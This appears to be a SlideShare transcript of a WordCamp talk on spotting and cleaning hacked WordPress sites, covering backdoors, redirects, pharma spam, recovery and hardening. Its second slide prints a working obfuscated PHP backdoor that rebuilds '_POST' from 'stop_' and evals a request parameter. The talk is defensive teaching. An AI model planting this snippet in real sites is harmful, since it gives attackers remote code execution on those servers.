SlideShare a Scribd company logo
YOUR SITE 

IS AND IS NOT
HACKED
@ASKWPGIRL #WCSLC
SCHRODINGER’S WEBSITE
You must assume your site is both hacked and not
hacked until you open the box and find out.
<?php
$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].
$qV[0].$qV[1]);if(isset(${$s20}['q53b3a6'])){eval($
{$s20}['q53b3a6']);}?>
WordPress Instructor and Custom Theme Developer
Using WordPress Since 2007 —Version 2.2
Not a security expert, but I play one on WordPress.tv
Angela Bowman 

Ask WP Girl @askwpgirl
WHAAA?
1
WHY DO HACKERS HACK?
Deface sites for fun
Add spammy links to bad web
neighborhoods (SEO spam)
Hijack site to add spam, porn,
gambling, pay-day loans content
Steal sensitive information to sell
Distribute malware to personal
computers
Use server resources for 

distributed attacks
WHAT DO HACKERS
ACTUALLY DO?
Create admin account
Reset passwords
Inject malicious code into content
Add malicious code to existing files
or new files
Redirect your website
http://www.wpmayor.com/wordpress-security-based-facts-statistics/
Gravity Forms hack
WHY SHOULD YOU CARE?
Performance issues
SEO tanks
Blacklisting or Phish Tank
Account closed
Angry customers
TYPICALLY, ONLY THE
MOST SEVERELY HACKED
SITES WILL BE
BLACKLISTED OR
SUSPENDED BY HOST
Many hacks are hidden
WHY ARE WORDPRESS
SITES VULNERABLE?
29%
8%
22%
41%
41% Hosting
22% Plugins
29% Themes
8% Weak
Passwords
RECENT VULNERABILITIES
Google Analytics WordPress 4.2.1
Backup to Dropbox FancyBox
TwentyFifteen
Revolution SliderGravity Forms
JetPack
Database of all vulnerable plugins and themes: https://wpvulndb.com/
LOW HANGING FRUIT
Vulnerabilities immediately published on the web
Hackers write bots to exploit vulnerabilities
Website owners are oblivious: they don’t update, use weak
passwords, install tons of plugins, use not-great web hosting
COMMON
EXPLOITS AND
HOW TO FIX
2
“SPOT THE HACK” GAME
A - Scan Site
B - Look at files on server
C - Find the hacked code
A
B
C
1 - Backdoors
PHP files uploaded to your server and accessed remotely. Severely
affect site and server performance. Not easy to find.
IT'S VERY COMMON, THAT
BACKDOORS DON'T HAVE
ANY VISIBLE SIGNS IN THE
SITE CODE AND IT'S
IMPOSSIBLE TO DETECT
THEM BY ACCESSING THE
INFECTED SITE FROM
OUTSIDE. ~ SUCURI
2 - Drive by Downloads
Script injected on website generates links to malware sites or
downloads malware from your site to visitors’ computers.
Easy for scanners to detect.
3 - Pharma Hack
Spam links injected onto web pages only visible to search
engines. Difficult to scan for because cloaked.
https://blog.sucuri.net/2011/02/cleaning-up-an-infected-web-site-part-i-wordpress-and-the-pharma-hack.html
4 - Malicious Redirects
Redirects traffic from your website to another typically by
modifying the .htaccess file, sometimes only when viewed by a
particular device or browser, like a phone
Hacked .htaccess file
DIY HACK RECOVERY
Via SFTP (preferred) or FTP
1 Backup:
Download
everything. Good to
examine later for
details of hack if
needed.
2 Delete 

all except:
cgi-bin
.htaccess
wp-config.php
(examine these)
3 Upload fresh:
WordPress
Themes
Plugins
cleaned uploads
Why are people from
Thailand and Romania
accessing a strangely
named PHP file
somewhere?
Check raw access logs via cPanel
db12.php, css.php, dirs35.php????
MONITORING TIPS
Audit Activity on Site
https://wordpress.org/plugins/wp-simple-firewall/
Check WordPress core integrity
using Sucuri plugin https://
wordpress.org/plugins/sucuri-
scanner/
Run https://wordpress.org/
plugins/gotmls/ to check 

wp-content folder
Look for modified dates, 

unusual names, file types 

that don’t belong
Compare file list to original
download
Commonly hacked files: .htaccess,
wp-config.php, index.php,
functions.php, header.php
Any file can be hacked!
Finding PHP Back Doors
Hmmmm? PHP in a CSS folder?
Finding and Removing Malicious Redirects
Listen to when someone tells you that they tried to
visit your site and couldn’t and find out which browser
or device they were using at the time.
Use http://www.botsvsbrowsers.com/
SimulateUserAgent.asp to verify
Scan with Sucuri’s SiteCheck
Check all the .htaccess files on the server and remove
the redirect.
https://sitecheck.sucuri.net/
Use Google Search Console!
Google Webmaster Tools/Search Console
Search Queries – you can spot queries irrelevant to you site.
Links toYour Site – you can find suspicious incoming links here.
Internal Links – this report can help reveal rogue sections of your site.
http://askwpgirl.com/submitting-wordpress-site-google-webmaster-tools/
Check for rogue users and posts
Your new admin friends?
Find hidden admin users: http://snipe.net/2010/01/when-wordpress-gets-hacked/
IMMEDIATELY CHANGE
PASSWORDS
Use Sucuri plugin to Generate New Security Keys
Reset all passwords, including WordPress 

users, FTP, web hosting, control panel
Scan computer for viruses!
See http://askwpgirl.com/nuke-it-from-orbit/ for step-by-step elimination
CLEAN UP “BAD” HACK
If hackers got admin access to site or database,
you might have to nuke the entire site from orbit
— it’s the only way to be sure
https://www.youtube.com/watch?v=aCbfMkh940Q
Or contact
sucuri.net for 

site clean up and
monitoring
REQUEST SITE REVIEW
If Google blacklisted your site or marked it for phishing
scam, you will need to request a review after you are
certain you’ve cleaned up all hacked files:

https://support.google.com/webmasters/answer/
168328?hl=en
SECURITY
BASICS
3
UPDATE UPDATE UPDATE
Timely updates are critical for security. 

Tools: iControlWP, MainWP, InfiniteWP, Jetpack, ManageWP
http://askwpgirl.com/updating-wordpress-plugins-themes-core/
SECURE YOUR LOGIN
Online Generator: 

http://www.pctools.com/guides/password/
Track Passwords: 

http://agilebits.com/products/1Password
Enable Two-Factor Authentication:
http://askwpgirl.com/wordpress-two-factor-
authentication-plugins/
Avoid logging in on 

public WiFi Networks

RUN A TIGHT SHIP!
Delete ALL unused stuff on server
Only use popular and well-maintained themes and plugins
Don’t allow users to register (Settings > General)
Always hold comments for moderation and use spam
filtering (Akismet plugin)
GOOD HOSTING
Correct File Permissions
WordPress Auto Updates
Firewall and Scanning
Regular Backups
Server Security
Performance Optimization
Managed WordPress Hosts:
Site Ground
WP Engine
Get Flywheel
Web Synthesis
Pantheon
EFFECTIVE SECURITY
PLUGIN FEATURES
Limit login access
Block bad URL requests 

with a Firewall
Audit activity

Security through obscurity is not security
IP addresses don’t matter and should not be used as the
foundation of aWordPress security policy
My favorite security plugin: https://wordpress.org/plugins/wp-simple-firewall/
Does all the above and more.Will notify you of vulnerable plugins.
BACKUPS
Common wisdom is to backup your site
Backups are to your site what major medical health
care coverage is to your health
Usually only helpful in case of a disaster
Services:
VaultPress and
WorpDrive good
hosted solutions!
Plugins:
BackupBuddy (paid),
BackWPUp,
Duplicator
SECURE YOUR COMPUTER
Scan for viruses and trojans
Be careful about downloading stuff!!!!
RESOURCES
http://snipe.net/2010/01/when-wordpress-gets-hacked/
https://support.google.com/webmasters/answer/163633?rd=1 ***
http://aw-snap.info/articles/find-backdoor.php
http://codex.wordpress.org/FAQ_My_site_was_hacked
http://sucuri.net - free scan, hack recovering, site monitoring, 

great posts on how to clean up specific hacks
http://aswkpgirl.com/nuke-it-from-orbit
https://www.icontrolwp.com/2014/05/wordpress-security-simple-firewall-plugin-part-4-
login-protection-feature/
https://www.icontrolwp.com/2014/06/beware-new-security-theat-wordpress-
misinformation-virus/
About the banking hack: https://www.proofpoint.com/es/node/327
Top 10 Web application security risks for developers: https://youtu.be/nuWR_HiBHYc
http://www.smashingmagazine.com/2012/10/four-malware-infections-wordpress/
CONTACT
facebook.com/askwpgirl


twitter.com/askwpgirl


http://askwpgirl.com
http://boulderdigitalarts.com
One-on-One consulting third Friday
of every month at Boulder Digital Arts
Six-week theme customization course
in Colorado and online.
SEO and Best Maintenance Tips
Newsletter http://askwpgirl.com

More Related Content

PDF
Really Awesome WordPress Plugins You Should Know About
Angela Bowman
 
ODP
Beginning WordPress Plugin Development
Aizat Faiz
 
PDF
Security Presentation for Boulder WordPress Meetup
Angela Bowman
 
PDF
WordPress Security Essentials WordCamp Denver 2012
Angela Bowman
 
PDF
WordPress Security
Jennifer Riehle McFarland
 
PDF
Jabber Bot
Aizat Faiz
 
ODP
Facebook Social Plugins
Aizat Faiz
 
PDF
Your Site Has Been Hacked, Now What?
Michele Butcher-Jones
 
Really Awesome WordPress Plugins You Should Know About
Angela Bowman
 
Beginning WordPress Plugin Development
Aizat Faiz
 
Security Presentation for Boulder WordPress Meetup
Angela Bowman
 
WordPress Security Essentials WordCamp Denver 2012
Angela Bowman
 
WordPress Security
Jennifer Riehle McFarland
 
Jabber Bot
Aizat Faiz
 
Facebook Social Plugins
Aizat Faiz
 
Your Site Has Been Hacked, Now What?
Michele Butcher-Jones
 

What's hot (20)

PDF
Intro to WordPress Plugin Development
Brad Williams
 
PDF
Sucuri Webinar: How to identify and clean a hacked Joomla! website
Sucuri
 
PPT
Securing Word Press Blog
Chetan Gole
 
PDF
WordPress Security Presentation
Andrew Paton
 
PDF
Introduction to WordPress Security
Shawn Hooper
 
PPTX
Securing your WordPress website - New Port Richey WP Meetup
Oyster Bay Marauders LLC
 
PPTX
WordPress Security 101
Shady A. Sharaf
 
PPTX
5 Things You Shouldn't Do With A WordPress Plugin
Kelly Phillips
 
PDF
WordPress Security Essentials
Angela Bowman
 
PDF
Hacking Ruby on Rails at Railswaycon09
heikowebers
 
PPTX
Website security
Akhilesh Kant
 
PPTX
Technical SEO: Crawl Space Management - SEOZone Istanbul 2014
Bastian Grimm
 
PPTX
WordPress for beginners lesson 4 fall2015 JALC
Michele Butcher-Jones
 
PDF
Beating Spam On Your WordPress Website - WordCamp Melbourne 2013
Vlad Lasky
 
PPTX
Getting started with WordPress development
Steve Mortiboy
 
PDF
WordPress Security WordCamp OC 2013
Brad Williams
 
PPT
WordPress Security
Brad Williams
 
PPTX
Word campktm speed-security
Digamber Pradhan
 
PPTX
Seozone - 5 tips
Anna Morrison
 
KEY
Higher Order WordPress Security
Dougal Campbell
 
Intro to WordPress Plugin Development
Brad Williams
 
Sucuri Webinar: How to identify and clean a hacked Joomla! website
Sucuri
 
Securing Word Press Blog
Chetan Gole
 
WordPress Security Presentation
Andrew Paton
 
Introduction to WordPress Security
Shawn Hooper
 
Securing your WordPress website - New Port Richey WP Meetup
Oyster Bay Marauders LLC
 
WordPress Security 101
Shady A. Sharaf
 
5 Things You Shouldn't Do With A WordPress Plugin
Kelly Phillips
 
WordPress Security Essentials
Angela Bowman
 
Hacking Ruby on Rails at Railswaycon09
heikowebers
 
Website security
Akhilesh Kant
 
Technical SEO: Crawl Space Management - SEOZone Istanbul 2014
Bastian Grimm
 
WordPress for beginners lesson 4 fall2015 JALC
Michele Butcher-Jones
 
Beating Spam On Your WordPress Website - WordCamp Melbourne 2013
Vlad Lasky
 
Getting started with WordPress development
Steve Mortiboy
 
WordPress Security WordCamp OC 2013
Brad Williams
 
WordPress Security
Brad Williams
 
Word campktm speed-security
Digamber Pradhan
 
Seozone - 5 tips
Anna Morrison
 
Higher Order WordPress Security
Dougal Campbell
 

Similar to Your WordPress Site is and is not Hacked - You don't know until you check (20)

PDF
Your WordPress Website Is/Not Hacked
Angela Bowman
 
PPT
Securing Your WordPress Website by Vlad Lasky
wordcampgc
 
PPT
Securing Your WordPress Website - WordCamp GC 2011
Vlad Lasky
 
PPTX
WordPress End-User Security
Dre Armeda
 
PPTX
Locking down word press
Zachary Russell
 
PPTX
Hardening WordPress - SAScon Manchester 2013 (WordPress Security)
Bastian Grimm
 
PDF
Owasp top 10 2013
Edouard de Lansalut
 
PPTX
Protect Your WordPress From The Inside Out
SiteGround.com
 
PPT
Tips to improve word press security ppt
Cheap SSL Coupon Code
 
PPTX
Wordpress Security & Hardening Steps
Plasterdog Web Design
 
PPTX
Pubcon Vegas Session - WordPress Site Security Audits
Kristine Schachinger SEO and Online Marketing
 
PDF
Cracking into embedded devices and beyond
amiable_indian
 
PPTX
WordPress security
Shelley Magnezi
 
PPTX
WordPress Security - WordPress Meetup Copenhagen 2013
Thor Kristiansen
 
PDF
Reliable and fast security audits - The modern and offensive way-Mohan Gandhi
bhumika2108
 
PDF
WordPress Security
Christina Hawkins
 
PDF
Complete Wordpress Security By CHETAN SONI - Cyber Security Expert
Chetan Soni
 
PPT
WordPress Security - WordCamp NYC 2009
Brad Williams
 
PDF
Hardening WordPress - Friends of Search 2014 (WordPress Security)
Bastian Grimm
 
PDF
WordPress security 101 - WP Jyväskylä Meetup 21.3.2017
Otto Kekäläinen
 
Your WordPress Website Is/Not Hacked
Angela Bowman
 
Securing Your WordPress Website by Vlad Lasky
wordcampgc
 
Securing Your WordPress Website - WordCamp GC 2011
Vlad Lasky
 
WordPress End-User Security
Dre Armeda
 
Locking down word press
Zachary Russell
 
Hardening WordPress - SAScon Manchester 2013 (WordPress Security)
Bastian Grimm
 
Owasp top 10 2013
Edouard de Lansalut
 
Protect Your WordPress From The Inside Out
SiteGround.com
 
Tips to improve word press security ppt
Cheap SSL Coupon Code
 
Wordpress Security & Hardening Steps
Plasterdog Web Design
 
Pubcon Vegas Session - WordPress Site Security Audits
Kristine Schachinger SEO and Online Marketing
 
Cracking into embedded devices and beyond
amiable_indian
 
WordPress security
Shelley Magnezi
 
WordPress Security - WordPress Meetup Copenhagen 2013
Thor Kristiansen
 
Reliable and fast security audits - The modern and offensive way-Mohan Gandhi
bhumika2108
 
WordPress Security
Christina Hawkins
 
Complete Wordpress Security By CHETAN SONI - Cyber Security Expert
Chetan Soni
 
WordPress Security - WordCamp NYC 2009
Brad Williams
 
Hardening WordPress - Friends of Search 2014 (WordPress Security)
Bastian Grimm
 
WordPress security 101 - WP Jyväskylä Meetup 21.3.2017
Otto Kekäläinen
 

Recently uploaded (20)

PPTX
AI and Robotics for Human Well-being.pptx
JAYMIN SUTHAR
 
PDF
AI Unleashed - Shaping the Future -Starting Today - AIOUG Yatra 2025 - For Co...
Sandesh Rao
 
PDF
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 
PDF
GDG Cloud Munich - Intro - Luiz Carneiro - #BuildWithAI - July - Abdel.pdf
Luiz Carneiro
 
PPTX
What-is-the-World-Wide-Web -- Introduction
tonifi9488
 
PDF
Data_Analytics_vs_Data_Science_vs_BI_by_CA_Suvidha_Chaplot.pdf
CA Suvidha Chaplot
 
PDF
How Open Source Changed My Career by abdelrahman ismail
a0m0rajab1
 
PPTX
Agile Chennai 18-19 July 2025 Ideathon | AI Powered Microfinance Literacy Gui...
AgileNetwork
 
PDF
Unlocking the Future- AI Agents Meet Oracle Database 23ai - AIOUG Yatra 2025.pdf
Sandesh Rao
 
PDF
Brief History of Internet - Early Days of Internet
sutharharshit158
 
PDF
Tea4chat - another LLM Project by Kerem Atam
a0m0rajab1
 
PDF
Security features in Dell, HP, and Lenovo PC systems: A research-based compar...
Principled Technologies
 
PPTX
Simple and concise overview about Quantum computing..pptx
mughal641
 
PDF
CIFDAQ's Market Wrap : Bears Back in Control?
CIFDAQ
 
PPTX
AI in Daily Life: How Artificial Intelligence Helps Us Every Day
vanshrpatil7
 
PDF
MASTERDECK GRAPHSUMMIT SYDNEY (Public).pdf
Neo4j
 
PPTX
The Future of AI & Machine Learning.pptx
pritsen4700
 
PDF
Responsible AI and AI Ethics - By Sylvester Ebhonu
Sylvester Ebhonu
 
PDF
SparkLabs Primer on Artificial Intelligence 2025
SparkLabs Group
 
PDF
AI-Cloud-Business-Management-Platforms-The-Key-to-Efficiency-Growth.pdf
Artjoker Software Development Company
 
AI and Robotics for Human Well-being.pptx
JAYMIN SUTHAR
 
AI Unleashed - Shaping the Future -Starting Today - AIOUG Yatra 2025 - For Co...
Sandesh Rao
 
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 
GDG Cloud Munich - Intro - Luiz Carneiro - #BuildWithAI - July - Abdel.pdf
Luiz Carneiro
 
What-is-the-World-Wide-Web -- Introduction
tonifi9488
 
Data_Analytics_vs_Data_Science_vs_BI_by_CA_Suvidha_Chaplot.pdf
CA Suvidha Chaplot
 
How Open Source Changed My Career by abdelrahman ismail
a0m0rajab1
 
Agile Chennai 18-19 July 2025 Ideathon | AI Powered Microfinance Literacy Gui...
AgileNetwork
 
Unlocking the Future- AI Agents Meet Oracle Database 23ai - AIOUG Yatra 2025.pdf
Sandesh Rao
 
Brief History of Internet - Early Days of Internet
sutharharshit158
 
Tea4chat - another LLM Project by Kerem Atam
a0m0rajab1
 
Security features in Dell, HP, and Lenovo PC systems: A research-based compar...
Principled Technologies
 
Simple and concise overview about Quantum computing..pptx
mughal641
 
CIFDAQ's Market Wrap : Bears Back in Control?
CIFDAQ
 
AI in Daily Life: How Artificial Intelligence Helps Us Every Day
vanshrpatil7
 
MASTERDECK GRAPHSUMMIT SYDNEY (Public).pdf
Neo4j
 
The Future of AI & Machine Learning.pptx
pritsen4700
 
Responsible AI and AI Ethics - By Sylvester Ebhonu
Sylvester Ebhonu
 
SparkLabs Primer on Artificial Intelligence 2025
SparkLabs Group
 
AI-Cloud-Business-Management-Platforms-The-Key-to-Efficiency-Growth.pdf
Artjoker Software Development Company
 

Your WordPress Site is and is not Hacked - You don't know until you check

  • 1. YOUR SITE 
 IS AND IS NOT HACKED @ASKWPGIRL #WCSLC
  • 2. SCHRODINGER’S WEBSITE You must assume your site is both hacked and not hacked until you open the box and find out. <?php $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2]. $qV[0].$qV[1]);if(isset(${$s20}['q53b3a6'])){eval($ {$s20}['q53b3a6']);}?>
  • 3. WordPress Instructor and Custom Theme Developer Using WordPress Since 2007 —Version 2.2 Not a security expert, but I play one on WordPress.tv Angela Bowman 
 Ask WP Girl @askwpgirl
  • 5. WHY DO HACKERS HACK? Deface sites for fun Add spammy links to bad web neighborhoods (SEO spam) Hijack site to add spam, porn, gambling, pay-day loans content Steal sensitive information to sell Distribute malware to personal computers Use server resources for 
 distributed attacks
  • 6. WHAT DO HACKERS ACTUALLY DO? Create admin account Reset passwords Inject malicious code into content Add malicious code to existing files or new files Redirect your website http://www.wpmayor.com/wordpress-security-based-facts-statistics/ Gravity Forms hack
  • 7. WHY SHOULD YOU CARE? Performance issues SEO tanks Blacklisting or Phish Tank Account closed Angry customers
  • 8. TYPICALLY, ONLY THE MOST SEVERELY HACKED SITES WILL BE BLACKLISTED OR SUSPENDED BY HOST Many hacks are hidden
  • 9. WHY ARE WORDPRESS SITES VULNERABLE? 29% 8% 22% 41% 41% Hosting 22% Plugins 29% Themes 8% Weak Passwords
  • 10. RECENT VULNERABILITIES Google Analytics WordPress 4.2.1 Backup to Dropbox FancyBox TwentyFifteen Revolution SliderGravity Forms JetPack Database of all vulnerable plugins and themes: https://wpvulndb.com/
  • 11. LOW HANGING FRUIT Vulnerabilities immediately published on the web Hackers write bots to exploit vulnerabilities Website owners are oblivious: they don’t update, use weak passwords, install tons of plugins, use not-great web hosting
  • 13. “SPOT THE HACK” GAME A - Scan Site B - Look at files on server C - Find the hacked code A B C
  • 14. 1 - Backdoors PHP files uploaded to your server and accessed remotely. Severely affect site and server performance. Not easy to find.
  • 15. IT'S VERY COMMON, THAT BACKDOORS DON'T HAVE ANY VISIBLE SIGNS IN THE SITE CODE AND IT'S IMPOSSIBLE TO DETECT THEM BY ACCESSING THE INFECTED SITE FROM OUTSIDE. ~ SUCURI
  • 16. 2 - Drive by Downloads Script injected on website generates links to malware sites or downloads malware from your site to visitors’ computers. Easy for scanners to detect.
  • 17. 3 - Pharma Hack Spam links injected onto web pages only visible to search engines. Difficult to scan for because cloaked. https://blog.sucuri.net/2011/02/cleaning-up-an-infected-web-site-part-i-wordpress-and-the-pharma-hack.html
  • 18. 4 - Malicious Redirects Redirects traffic from your website to another typically by modifying the .htaccess file, sometimes only when viewed by a particular device or browser, like a phone Hacked .htaccess file
  • 19. DIY HACK RECOVERY Via SFTP (preferred) or FTP 1 Backup: Download everything. Good to examine later for details of hack if needed. 2 Delete 
 all except: cgi-bin .htaccess wp-config.php (examine these) 3 Upload fresh: WordPress Themes Plugins cleaned uploads
  • 20. Why are people from Thailand and Romania accessing a strangely named PHP file somewhere? Check raw access logs via cPanel db12.php, css.php, dirs35.php???? MONITORING TIPS
  • 21. Audit Activity on Site https://wordpress.org/plugins/wp-simple-firewall/
  • 22. Check WordPress core integrity using Sucuri plugin https:// wordpress.org/plugins/sucuri- scanner/ Run https://wordpress.org/ plugins/gotmls/ to check 
 wp-content folder Look for modified dates, 
 unusual names, file types 
 that don’t belong Compare file list to original download Commonly hacked files: .htaccess, wp-config.php, index.php, functions.php, header.php Any file can be hacked! Finding PHP Back Doors Hmmmm? PHP in a CSS folder?
  • 23. Finding and Removing Malicious Redirects Listen to when someone tells you that they tried to visit your site and couldn’t and find out which browser or device they were using at the time. Use http://www.botsvsbrowsers.com/ SimulateUserAgent.asp to verify Scan with Sucuri’s SiteCheck Check all the .htaccess files on the server and remove the redirect. https://sitecheck.sucuri.net/
  • 24. Use Google Search Console! Google Webmaster Tools/Search Console Search Queries – you can spot queries irrelevant to you site. Links toYour Site – you can find suspicious incoming links here. Internal Links – this report can help reveal rogue sections of your site. http://askwpgirl.com/submitting-wordpress-site-google-webmaster-tools/
  • 25. Check for rogue users and posts Your new admin friends? Find hidden admin users: http://snipe.net/2010/01/when-wordpress-gets-hacked/
  • 26. IMMEDIATELY CHANGE PASSWORDS Use Sucuri plugin to Generate New Security Keys Reset all passwords, including WordPress 
 users, FTP, web hosting, control panel Scan computer for viruses!
  • 27. See http://askwpgirl.com/nuke-it-from-orbit/ for step-by-step elimination CLEAN UP “BAD” HACK If hackers got admin access to site or database, you might have to nuke the entire site from orbit — it’s the only way to be sure https://www.youtube.com/watch?v=aCbfMkh940Q Or contact sucuri.net for 
 site clean up and monitoring
  • 28. REQUEST SITE REVIEW If Google blacklisted your site or marked it for phishing scam, you will need to request a review after you are certain you’ve cleaned up all hacked files:
 https://support.google.com/webmasters/answer/ 168328?hl=en
  • 30. UPDATE UPDATE UPDATE Timely updates are critical for security. 
 Tools: iControlWP, MainWP, InfiniteWP, Jetpack, ManageWP http://askwpgirl.com/updating-wordpress-plugins-themes-core/
  • 31. SECURE YOUR LOGIN Online Generator: 
 http://www.pctools.com/guides/password/ Track Passwords: 
 http://agilebits.com/products/1Password Enable Two-Factor Authentication: http://askwpgirl.com/wordpress-two-factor- authentication-plugins/ Avoid logging in on 
 public WiFi Networks

  • 32. RUN A TIGHT SHIP! Delete ALL unused stuff on server Only use popular and well-maintained themes and plugins Don’t allow users to register (Settings > General) Always hold comments for moderation and use spam filtering (Akismet plugin)
  • 33. GOOD HOSTING Correct File Permissions WordPress Auto Updates Firewall and Scanning Regular Backups Server Security Performance Optimization Managed WordPress Hosts: Site Ground WP Engine Get Flywheel Web Synthesis Pantheon
  • 34. EFFECTIVE SECURITY PLUGIN FEATURES Limit login access Block bad URL requests 
 with a Firewall Audit activity
 Security through obscurity is not security IP addresses don’t matter and should not be used as the foundation of aWordPress security policy My favorite security plugin: https://wordpress.org/plugins/wp-simple-firewall/ Does all the above and more.Will notify you of vulnerable plugins.
  • 35. BACKUPS Common wisdom is to backup your site Backups are to your site what major medical health care coverage is to your health Usually only helpful in case of a disaster Services: VaultPress and WorpDrive good hosted solutions! Plugins: BackupBuddy (paid), BackWPUp, Duplicator
  • 36. SECURE YOUR COMPUTER Scan for viruses and trojans Be careful about downloading stuff!!!!
  • 37. RESOURCES http://snipe.net/2010/01/when-wordpress-gets-hacked/ https://support.google.com/webmasters/answer/163633?rd=1 *** http://aw-snap.info/articles/find-backdoor.php http://codex.wordpress.org/FAQ_My_site_was_hacked http://sucuri.net - free scan, hack recovering, site monitoring, 
 great posts on how to clean up specific hacks http://aswkpgirl.com/nuke-it-from-orbit https://www.icontrolwp.com/2014/05/wordpress-security-simple-firewall-plugin-part-4- login-protection-feature/ https://www.icontrolwp.com/2014/06/beware-new-security-theat-wordpress- misinformation-virus/ About the banking hack: https://www.proofpoint.com/es/node/327 Top 10 Web application security risks for developers: https://youtu.be/nuWR_HiBHYc http://www.smashingmagazine.com/2012/10/four-malware-infections-wordpress/
  • 38. CONTACT facebook.com/askwpgirl 
 twitter.com/askwpgirl 
 http://askwpgirl.com http://boulderdigitalarts.com One-on-One consulting third Friday of every month at Boulder Digital Arts Six-week theme customization course in Colorado and online. SEO and Best Maintenance Tips Newsletter http://askwpgirl.com